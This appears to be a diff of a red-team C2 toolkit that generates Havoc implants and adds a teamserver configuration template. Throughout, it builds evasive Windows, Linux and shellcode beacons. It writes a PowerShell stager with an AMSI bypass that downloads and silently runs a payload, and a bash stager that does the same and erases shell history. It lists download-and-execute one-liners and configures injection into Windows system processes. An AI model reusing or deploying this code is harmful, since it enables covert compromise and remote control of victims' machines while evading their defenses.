|
||||||
linux) echo "${name}" ;;
|
|
||||||
darwin) echo "${name}" ;;
|
|
||||||
*) echo "${name}" ;;
|
|
||||||
esac
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
|
||||||
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
|
||||||
echo "[+] C2 host: $C2_HOST"
|
|
||||||
|
|
||||||
# Windows EXE
|
# Windows EXE
|
||||||
win_profile=$(create_profile "windows")
|
win_profile=$(generate_profile "windows")
|
||||||
win_output=$(random_output_name "windows")
|
win_output="update_win_$(random_string 8).exe"
|
||||||
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$win_profile" \
|
||||||
|
--format exe \
|
||||||
|
--output "$BEACONS_DIR/windows/$win_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||||
|
fi
|
||||||
|
|
||||||
# Windows DLL
|
# Windows DLL
|
||||||
dll_profile=$(create_profile "windows_dll")
|
dll_profile=$(generate_profile "windows")
|
||||||
dll_output=$(random_output_name "windows_dll")
|
dll_output="module_$(random_string 8).dll"
|
||||||
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$dll_profile" \
|
||||||
|
--format dll \
|
||||||
|
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||||
|
fi
|
||||||
|
|
||||||
# Linux binary
|
# Linux binary
|
||||||
linux_profile=$(create_profile "linux")
|
linux_profile=$(generate_profile "linux")
|
||||||
linux_output=$(random_output_name "linux")
|
linux_output="update_linux_$(random_string 8)"
|
||||||
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
|
||||||
|
|
||||||
# macOS binary
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
mac_profile=$(create_profile "darwin")
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
mac_output=$(random_output_name "darwin")
|
--username "$ADMIN_USER" \
|
||||||
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
--password "$ADMIN_PASS" \
|
||||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$linux_profile" \
|
||||||
|
--format elf \
|
||||||
|
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Windows shellcode (staged payload)
|
||||||
|
shellcode_profile=$(generate_profile "windows")
|
||||||
|
shellcode_output="shellcode_$(random_string 8).bin"
|
||||||
|
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||||
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||||
|
--format shellcode \
|
||||||
|
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
echo "[+] All payloads generated successfully!"
|
||||||
|
|
||||||
|
# Return payload information
|
||||||
|
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate PowerShell and bash stagers
|
||||||
|
generate_stagers() {
|
||||||
|
win_output=$1
|
||||||
|
linux_output=$2
|
||||||
|
|
||||||
|
echo "[+] Generating evasive stagers..."
|
||||||
|
|
||||||
|
# Create PowerShell stager directory
|
||||||
|
mkdir -p $BEACONS_DIR/stagers
|
||||||
|
|
||||||
|
# PowerShell stager with AMSI bypass and obfuscation
|
||||||
|
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||||
|
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
|
||||||
|
# AMSI Bypass
|
||||||
|
function Bypass-AMSI {
|
||||||
|
$a = [Ref].Assembly.GetTypes()
|
||||||
|
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||||
|
$d = $c.GetFields('NonPublic,Static')
|
||||||
|
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||||
|
$g = $f.GetValue($null)
|
||||||
|
[IntPtr]$ptr = $g
|
||||||
|
[Int32[]]$buf = @(0)
|
||||||
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Try to bypass AMSI
|
||||||
|
try { Bypass-AMSI } catch {}
|
||||||
|
|
||||||
|
# Randomize variables for evasion
|
||||||
|
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
|
||||||
|
# Error handling with obfuscation
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
$wc = New-Object System.Net.WebClient
|
||||||
|
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||||
|
|
||||||
|
# Split URL to avoid detection
|
||||||
|
$r1 = "https://"
|
||||||
|
$r2 = "REDIRECTOR_HOST"
|
||||||
|
$r3 = "/content/windows/WINDOWS_EXE"
|
||||||
|
$url = $r1 + $r2 + $r3
|
||||||
|
|
||||||
|
# Download with jitter
|
||||||
|
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||||
|
try {
|
||||||
|
$wc.DownloadFile($url, $outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
|
||||||
|
# Start process with extra obfuscation
|
||||||
|
$p = New-Object System.Diagnostics.Process
|
||||||
|
$p.StartInfo.FileName = $outpath
|
||||||
|
$p.StartInfo.WindowStyle = 'Hidden'
|
||||||
|
$p.StartInfo.CreateNoWindow = $true
|
||||||
|
$p.Start()
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Replace placeholder values in PowerShell stager
|
||||||
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||||
|
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||||
|
|
||||||
|
# Bash stager with obfuscation techniques
|
||||||
|
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||||
|
#!/bin/bash
|
||||||
|
# Linux download and execute Havoc beacon with EDR evasion
|
||||||
|
|
||||||
|
# Function obfuscation
|
||||||
|
function x() {
|
||||||
|
command -v "$1" > /dev/null 2>&1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random temp filename
|
||||||
|
r() {
|
||||||
|
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Randomize variables
|
||||||
|
TMPVAR=$(r)
|
||||||
|
TMPFILE="/tmp/.${TMPVAR}"
|
||||||
|
|
||||||
|
# Check which download tool is available
|
||||||
|
if x curl; then
|
||||||
|
# Split URL to avoid signature detection
|
||||||
|
p1="https://"
|
||||||
|
p2="REDIRECTOR_HOST"
|
||||||
|
p3="/content/linux/LINUX_BINARY"
|
||||||
|
url="${p1}${p2}${p3}"
|
||||||
|
# Add random sleep between operations
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
curl -s -o "$TMPFILE" "$url"
|
||||||
|
elif x wget; then
|
||||||
|
p1="https://"
|
||||||
|
p2="REDIRECTOR_HOST"
|
||||||
|
p3="/content/linux/LINUX_BINARY"
|
||||||
|
url="${p1}${p2}${p3}"
|
||||||
|
# Add random sleep between operations
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
wget -q -O "$TMPFILE" "$url"
|
||||||
|
else
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Make executable and run in background
|
||||||
|
chmod +x "$TMPFILE"
|
||||||
|
# Add random sleep before execution
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
("$TMPFILE" > /dev/null 2>&1 &)
|
||||||
|
|
||||||
|
# Clean up command history if possible
|
||||||
|
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||||
|
history -c 2>/dev/null
|
||||||
|
|
||||||
|
echo "Update complete."
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Replace placeholder values in Bash stager
|
||||||
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
|
||||||
|
echo "[+] Stagers created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create manifest file
|
||||||
|
create_manifest() {
|
||||||
|
local payload_info=$1
|
||||||
|
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||||
|
|
||||||
|
echo "[+] Creating manifest file..."
|
||||||
|
cat > $BEACONS_DIR/manifest.json << EOF
|
||||||
|
{
|
||||||
|
"windows_exe": "$win_output",
|
||||||
|
"windows_dll": "$dll_output",
|
||||||
|
"linux_binary": "$linux_output",
|
||||||
|
"windows_shellcode": "$shellcode_output",
|
||||||
|
"redirector_host": "$REDIRECTOR_HOST",
|
||||||
|
"redirector_port": "$REDIRECTOR_PORT",
|
||||||
|
"c2_host": "$C2_HOST",
|
||||||
|
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||||
|
"havoc_http_port": "$HTTP_PORT",
|
||||||
|
"havoc_https_port": "$HTTPS_PORT",
|
||||||
|
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create reference file
|
||||||
|
create_reference() {
|
||||||
|
local payload_info=$1
|
||||||
|
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||||
|
|
||||||
|
echo "[+] Creating reference file..."
|
||||||
|
cat > $BEACONS_DIR/reference.txt << EOF
|
||||||
|
Havoc C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
- Teamserver Port: $TEAMSERVER_PORT
|
||||||
|
- Admin User: $ADMIN_USER
|
||||||
|
- Admin Password: $ADMIN_PASS
|
||||||
|
|
||||||
|
Beacons Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||||
|
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||||
|
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||||
|
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||||
|
|
||||||
|
Deployment Commands:
|
||||||
|
- PowerShell:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||||
|
|
||||||
|
- Linux:
|
||||||
|
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||||
|
|
||||||
|
Anti-Detection Features Enabled:
|
||||||
|
- Binary signature randomization
|
||||||
|
- PE/ELF header manipulation
|
||||||
|
- Sleep mask obfuscation
|
||||||
|
- AMSI bypass in stagers
|
||||||
|
- EDR unhooking
|
||||||
|
- Indirect syscalls
|
||||||
|
- Random sleep/jitter timing
|
||||||
|
EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution flow
|
||||||
|
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||||
|
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 Host: $C2_HOST"
|
||||||
|
|
||||||
|
# Generate payloads
|
||||||
|
payload_info=$(generate_payloads)
|
||||||
|
|
||||||
# Generate stagers
|
# Generate stagers
|
||||||
stager_profile=$(create_profile "stager")
|
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||||
stager_win=$(random_output_name "windows")
|
|
||||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
|
||||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
|
||||||
|
|
||||||
# Create manifest file from template
|
# Create manifest file
|
||||||
cp /root/Tools/manifest.template "$BEACONS_DIR/manifest.json"
|
create_manifest "$payload_info"
|
||||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
|
|
||||||
|
|
||||||
# Create Linux loader from template
|
# Create reference file
|
||||||
cp /root/Tools/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
create_reference "$payload_info"
|
||||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
|
||||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
|
||||||
|
|
||||||
# Create Windows PowerShell loader from template
|
echo "[+] EDR-evasive beacon generation complete!"
|
||||||
cp /root/Tools/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
|
||||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
|
||||||
|
|
||||||
# Create reference file from template
|
|
||||||
cp /root/Tools/reference.template "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"
|
|
||||||
@@ -0,0 +1,274 @@
|
|||||||
|
{% set random_hex = lookup('password', '/dev/null chars=hex_lower length=8') %}
|
||||||
|
|
||||||
|
Teamserver {
|
||||||
|
Host = "0.0.0.0"
|
||||||
|
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||||
|
|
||||||
|
Build {
|
||||||
|
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
||||||
|
Nasm = "/usr/bin/nasm"
|
||||||
|
{% if havoc_compiler_flags is defined %}
|
||||||
|
CompilerFlags = "{{ havoc_compiler_flags }}"
|
||||||
|
{% else %}
|
||||||
|
CompilerFlags = "-Os -fno-asynchronous-unwind-tables -fno-ident -fpack-struct=8 -ffunction-sections"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Operators {
|
||||||
|
{{ havoc_admin_user | default('admin') }} {
|
||||||
|
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||||
|
{% if havoc_auth_secret is defined %}
|
||||||
|
Secret = "{{ havoc_auth_secret }}"
|
||||||
|
{% else %}
|
||||||
|
Secret = "{{ lookup('password', '/dev/null chars=hex_lower length=32') }}"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
{% if havoc_operators is defined %}
|
||||||
|
{% for operator in havoc_operators %}
|
||||||
|
{{ operator.name }} {
|
||||||
|
Password = "{{ operator.password }}"
|
||||||
|
{% if operator.secret is defined %}
|
||||||
|
Secret = "{{ operator.secret }}"
|
||||||
|
{% else %}
|
||||||
|
Secret = "{{ lookup('password', '/dev/null chars=hex_lower length=32') }}"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
{% endfor %}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
Listeners {
|
||||||
|
http {
|
||||||
|
Name = "http"
|
||||||
|
KillDate = "{{ havoc_killdate | default('2030-01-01') }}"
|
||||||
|
WorkingHours = "{{ havoc_working_hours | default('0:00-23:59') }}"
|
||||||
|
{% if havoc_hosts is defined %}
|
||||||
|
Hosts = [
|
||||||
|
{% for host in havoc_hosts %}
|
||||||
|
"{{ host }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
]
|
||||||
|
{% else %}
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
{% endif %}
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "{{ havoc_host_rotation | default('round-robin') }}"
|
||||||
|
Port = {{ havoc_http_port | default(8080) }}
|
||||||
|
PortBind = {{ havoc_http_port | default(8080) }}
|
||||||
|
{% if havoc_user_agent is defined %}
|
||||||
|
UserAgent = "{{ havoc_user_agent }}"
|
||||||
|
{% else %}
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.{{ random_hex[0] | int }}.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{{ random_hex[1] | int + 80 }}.0.{{ random_hex[2:4] | int }}.{{ random_hex[4:6] | int }} Safari/537.36"
|
||||||
|
{% endif %}
|
||||||
|
Headers = [
|
||||||
|
{% if havoc_http_headers is defined %}
|
||||||
|
{% for header in havoc_http_headers %}
|
||||||
|
"{{ header }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
"Accept: */*",
|
||||||
|
"Accept-Language: en-US,en;q=0.9",
|
||||||
|
"X-Requested-With: XMLHttpRequest"
|
||||||
|
{% endif %}
|
||||||
|
]
|
||||||
|
Uris = [
|
||||||
|
{% if havoc_http_uris is defined %}
|
||||||
|
{% for uri in havoc_http_uris %}
|
||||||
|
"{{ uri }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
"/api/v{{ random_hex[6] | int + 1 }}",
|
||||||
|
"/dashboard",
|
||||||
|
"/content/{{ random_hex[1:4] }}",
|
||||||
|
"/wp-includes/{{ random_hex[1:6] }}.js"
|
||||||
|
{% endif %}
|
||||||
|
]
|
||||||
|
Secure = false
|
||||||
|
{% if havoc_proxy_enabled | default(false) %}
|
||||||
|
Proxy = {
|
||||||
|
Host = "{{ havoc_proxy_host }}"
|
||||||
|
Port = {{ havoc_proxy_port }}
|
||||||
|
Username = "{{ havoc_proxy_username | default('') }}"
|
||||||
|
Password = "{{ havoc_proxy_password | default('') }}"
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
https {
|
||||||
|
Name = "https"
|
||||||
|
KillDate = "{{ havoc_killdate | default('2030-01-01') }}"
|
||||||
|
WorkingHours = "{{ havoc_working_hours | default('0:00-23:59') }}"
|
||||||
|
{% if havoc_hosts is defined %}
|
||||||
|
Hosts = [
|
||||||
|
{% for host in havoc_hosts %}
|
||||||
|
"{{ host }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
]
|
||||||
|
{% else %}
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
{% endif %}
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "{{ havoc_host_rotation | default('round-robin') }}"
|
||||||
|
Port = {{ havoc_https_port | default(443) }}
|
||||||
|
PortBind = {{ havoc_https_port | default(443) }}
|
||||||
|
{% if havoc_user_agent is defined %}
|
||||||
|
UserAgent = "{{ havoc_user_agent }}"
|
||||||
|
{% else %}
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.{{ random_hex[0] | int }}.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{{ random_hex[1] | int + 80 }}.0.{{ random_hex[2:4] | int }}.{{ random_hex[4:6] | int }} Safari/537.36"
|
||||||
|
{% endif %}
|
||||||
|
Headers = [
|
||||||
|
{% if havoc_https_headers is defined %}
|
||||||
|
{% for header in havoc_https_headers %}
|
||||||
|
"{{ header }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
"Accept: */*",
|
||||||
|
"Accept-Language: en-US,en;q=0.9",
|
||||||
|
"X-Requested-With: XMLHttpRequest"
|
||||||
|
{% endif %}
|
||||||
|
]
|
||||||
|
Uris = [
|
||||||
|
{% if havoc_https_uris is defined %}
|
||||||
|
{% for uri in havoc_https_uris %}
|
||||||
|
"{{ uri }}"{% if not loop.last %},{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
"/api/v{{ random_hex[6] | int + 2 }}",
|
||||||
|
"/content",
|
||||||
|
"/static/{{ random_hex[2:5] }}",
|
||||||
|
"/wp-content/plugins/{{ random_hex[1:6] }}"
|
||||||
|
{% endif %}
|
||||||
|
]
|
||||||
|
Secure = true
|
||||||
|
Cert = "{{ havoc_cert_path | default('/root/Tools/havoc/data/certs/havoc.crt') }}"
|
||||||
|
Key = "{{ havoc_key_path | default('/root/Tools/havoc/data/certs/havoc.key') }}"
|
||||||
|
{% if havoc_proxy_enabled | default(false) %}
|
||||||
|
Proxy = {
|
||||||
|
Host = "{{ havoc_proxy_host }}"
|
||||||
|
Port = {{ havoc_proxy_port }}
|
||||||
|
Username = "{{ havoc_proxy_username | default('') }}"
|
||||||
|
Password = "{{ havoc_proxy_password | default('') }}"
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
{% if havoc_smb_enabled | default(false) %}
|
||||||
|
smb {
|
||||||
|
Name = "smb"
|
||||||
|
PipeName = "{{ havoc_smb_pipename | default('havoc-' ~ random_hex[0:6]) }}"
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_external_enabled | default(false) %}
|
||||||
|
external {
|
||||||
|
Name = "external"
|
||||||
|
KillDate = "{{ havoc_external_killdate | default('2030-01-01') }}"
|
||||||
|
WorkingHours = "{{ havoc_external_hours | default('0:00-23:59') }}"
|
||||||
|
Endpoint = "{{ havoc_external_endpoint }}"
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_additional_listeners is defined %}
|
||||||
|
{% for listener in havoc_additional_listeners %}
|
||||||
|
{{ listener.name }} {
|
||||||
|
{% for key, value in listener.config.items() %}
|
||||||
|
{{ key }} = {% if value is string %}"{{ value }}"{% else %}{{ value }}{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
}
|
||||||
|
{% endfor %}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
Demon {
|
||||||
|
Sleep = {{ havoc_sleep | default(random_hex[0:2] | int % 5 + 2) }}
|
||||||
|
SleepJitter = {{ havoc_jitter | default(random_hex[2:4] | int % 30 + 20) }}
|
||||||
|
Injection = {{ havoc_injection_method | default(random_hex[4] | int % 3) }}
|
||||||
|
IndirectSyscalls = {{ havoc_indirect_syscalls | default(true) | lower }}
|
||||||
|
|
||||||
|
Injection {
|
||||||
|
{% if havoc_spawn64 is defined %}
|
||||||
|
Spawn64 = "{{ havoc_spawn64 }}"
|
||||||
|
{% else %}
|
||||||
|
{% set process_list = [
|
||||||
|
"C:\\Windows\\System32\\notepad.exe",
|
||||||
|
"C:\\Windows\\System32\\RuntimeBroker.exe",
|
||||||
|
"C:\\Windows\\System32\\dllhost.exe",
|
||||||
|
"C:\\Windows\\System32\\smartscreen.exe",
|
||||||
|
"C:\\Windows\\System32\\ctfmon.exe",
|
||||||
|
"C:\\Windows\\System32\\sihost.exe",
|
||||||
|
"C:\\Windows\\System32\\taskhostw.exe"
|
||||||
|
] %}
|
||||||
|
Spawn64 = "{{ process_list[random_hex[5] | int % process_list|length] }}"
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_spawn32 is defined %}
|
||||||
|
Spawn32 = "{{ havoc_spawn32 }}"
|
||||||
|
{% else %}
|
||||||
|
